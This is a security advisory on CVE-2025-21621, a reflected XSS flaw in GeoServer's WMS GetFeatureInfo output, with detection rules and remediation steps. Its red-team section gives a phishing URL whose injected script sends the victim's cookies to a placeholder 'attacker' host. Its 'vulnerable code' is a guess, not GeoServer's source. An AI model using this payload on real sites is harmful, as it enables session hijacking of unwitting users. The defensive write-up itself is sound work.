CVE-2025-21621

Executive Summary

CVE-2025-21621 is a reflected cross-site scripting (XSS) vulnerability in the GeoServer WMS GetFeatureInfo HTML output format. An attacker can inject arbitrary JavaScript code via a specially crafted SLD_BODY parameter, which is then reflected in the HTML response without proper sanitization. This allows the attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, credential theft, or other client-side attacks. The vulnerability affects all versions prior to 2.25.0. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

GeoServer is a Java-based open-source server. The vulnerability is in the core application code, not in a third-party package. Users should verify the integrity of their GeoServer distribution and ensure they are using official sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - The victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) - Limited information disclosure.
• Integrity Impact: Low (I:L) - Limited modification of data.
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for social engineering and the widespread use of GeoServer in geospatial applications make this a significant concern.

Deep Dive & Mechanics

The vulnerability resides in the WMS (Web Map Service) GetFeatureInfo operation. When the INFO_FORMAT parameter is set to text/html, GeoServer generates an HTML response containing feature information. The SLD_BODY parameter, which allows users to define custom styling rules, is not properly sanitized before being included in the HTML output.

An attacker can craft a malicious URL like:

http://target/geoserver/wms?SERVICE=WMS&VERSION=1.1.1&REQUEST=GetFeatureInfo&LAYERS=topp:states&QUERY_LAYERS=topp:states&INFO_FORMAT=text/html&SLD_BODY=<script>alert('XSS')</script>&X=50&Y=50

When a victim clicks this link, the browser renders the HTML response, which includes the unsanitized SLD_BODY parameter, executing the injected JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.25.0): The vulnerable code likely directly includes the SLD_BODY parameter value in the HTML output without encoding or sanitization. For example:

// Vulnerable: Direct inclusion of user input
String sldBody = request.getParameter("SLD_BODY");
response.getWriter().write("<html><body>" + sldBody + "</body></html>");

Patched Code (2.25.0): The patched code properly encodes the SLD_BODY parameter value for HTML context, preventing script execution. For example:

// Patched: HTML-encode user input
String sldBody = request.getParameter("SLD_BODY");
String encodedSldBody = StringEscapeUtils.escapeHtml4(sldBody);
response.getWriter().write("<html><body>" + encodedSldBody + "</body></html>");

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: Install a vulnerable GeoServer version (e.g., 2.24.x) on a local VM or container.
2. Attacker: Use a modern browser with developer tools.

Exploitation Steps:

1. Craft a malicious URL with a JavaScript payload in the SLD_BODY parameter:

   http://target/geoserver/wms?SERVICE=WMS&VERSION=1.1.1&REQUEST=GetFeatureInfo&LAYERS=topp:states&QUERY_LAYERS=topp:states&INFO_FORMAT=text/html&SLD_BODY=<script>document.location='http://attacker/steal?cookie='+document.cookie</script>&X=50&Y=50
   

2. Send the crafted URL to the victim (e.g., via email, social media, or a phishing page).
3. When the victim clicks the link, the JavaScript executes, sending the victim's cookies to the attacker's server.

Advanced Payloads:

• Session Hijacking: Steal session cookies.
• Keylogging: Capture keystrokes.
• Phishing: Display a fake login form to steal credentials.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing SLD_BODY with suspicious characters like <, >, script, onerror, etc.
• Use a Web Application Firewall (WAF) to block requests with XSS patterns in the SLD_BODY parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Immediately upgrade to GeoServer 2.25.0 or later.
• If upgrade is not possible, apply a virtual patch using a WAF to filter malicious SLD_BODY values.
• Educate users about the risks of clicking suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to GeoServer with INFO_FORMAT=text/html and SLD_BODY containing HTML/JavaScript code.
  • Outbound connections from victim browsers to attacker-controlled servers (e.g., for cookie exfiltration).
• Host IOCs:
  • Browser history entries containing the malicious URL.
  • Temporary files or cache entries with XSS payloads.
• Log IOCs:
  • Web server logs showing requests with SLD_BODY containing <script> tags or event handlers like onerror.

Detection Engineering

YARA Rule

rule CVE_2025_21621_XSS_GeoServer {
    meta:
        description = "Detects XSS attempts against GeoServer CVE-2025-21621"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-21621"
    strings:
        $sld_body = "SLD_BODY=" nocase
        $xss_pattern1 = /<script[^>]*>/i
        $xss_pattern2 = /on\w+\s*=/i
        $xss_pattern3 = /javascript\s*:/i
    condition:
        $sld_body and ($xss_pattern1 or $xss_pattern2 or $xss_pattern3)
}

Sigma Rule

title: GeoServer CVE-2025-21621 XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting GeoServer WMS GetFeatureInfo with XSS payloads in SLD_BODY parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-21621
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "SLD_BODY="
        cs-uri-query|contains|any:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of SLD_BODY with XML content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-21621 GeoServer WMS GetFeatureInfo XSS Attempt"; flow:to_server,established; content:"SLD_BODY="; http_uri; pcre:"/(<script|on\w+\s*=|javascript\s*:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GeoServer: Update to version 2.25.0 or later. This is the only complete fix.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing XSS patterns in the SLD_BODY parameter.
3. Input Validation: Implement server-side validation to reject SLD_BODY values containing HTML/JavaScript.

Long-Term Measures:

1. Secure Coding: Ensure all user inputs are properly encoded before being included in HTML output.
2. Regular Updates: Keep GeoServer and all dependencies up to date.
3. Security Awareness: Train users to recognize and avoid phishing attempts.

Workarounds:

• Disable the text/html output format for GetFeatureInfo if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT